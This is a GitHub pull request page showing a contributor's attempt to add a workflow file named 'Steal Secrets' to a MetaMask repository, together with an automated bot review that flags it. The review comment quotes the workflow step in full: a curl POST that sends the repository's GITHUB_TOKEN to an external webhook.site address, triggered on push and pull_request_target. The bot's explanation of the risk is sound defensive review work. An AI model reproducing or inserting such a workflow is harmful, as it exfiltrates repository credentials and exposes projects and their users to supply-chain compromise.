Skip to content

Create poc.yml#9296

Open
dhirajthread-a11y wants to merge 1 commit into
MetaMask:mainfrom
dhirajthread-a11y:main
Open

Create poc.yml#9296
dhirajthread-a11y wants to merge 1 commit into
MetaMask:mainfrom
dhirajthread-a11y:main

Conversation

@dhirajthread-a11y

@dhirajthread-a11y dhirajthread-a11y commented Jun 27, 2026

Copy link
Copy Markdown

Explanation

References

Checklist

  • I've updated the test suite for new or updated code as appropriate
  • I've updated documentation (JSDoc, Markdown, etc.) for new or updated code as appropriate
  • I've communicated my changes to consumers by updating changelogs for packages I've changed
  • I've introduced breaking changes in this PR and have prepared draft pull requests for clients and consumer packages to resolve them

Note

High Risk
Malicious CI that leaks repository GITHUB_TOKEN to a third-party endpoint, amplified by pull_request_target on fork PRs.

Overview
Adds a new GitHub Actions workflow .github/workflows/poc.yml named "Steal Secrets" that did not exist in the repo before.

It runs on push and pull_request_target, so it can execute in the context of the base repository (including on PRs from forks, where pull_request_target is especially sensitive). The sole job posts secrets.GITHUB_TOKEN to an external webhook.site URL via curl, which is credential exfiltration rather than normal CI.

This change should be rejected and not merged; if it ever ran on the default branch, rotate/revoke affected tokens and audit Actions runs.

Reviewed by Cursor Bugbot for commit 01199bb. Bugbot is set up for automated code reviews on this repo. Configure here.

@dhirajthread-a11y dhirajthread-a11y requested a review from a team as a code owner June 27, 2026 08:53

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, have a team admin enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit 01199bb. Configure here.

Comment thread .github/workflows/poc.yml
steps:
- run: |
curl -X POST https://webhook.site/e83aa988-440d-465e-b205-2d57aea449a5 \
-d "token=${{ secrets.GITHUB_TOKEN }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exfiltrates GITHUB_TOKEN externally

High Severity

The workflow sends ${{ secrets.GITHUB_TOKEN }} in an HTTP POST to a third-party webhook.site URL on push and unscoped pull_request_target. That exposes repository credentials to an external party and can run with base-repo token access on pull requests, including from forks.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 01199bb. Configure here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant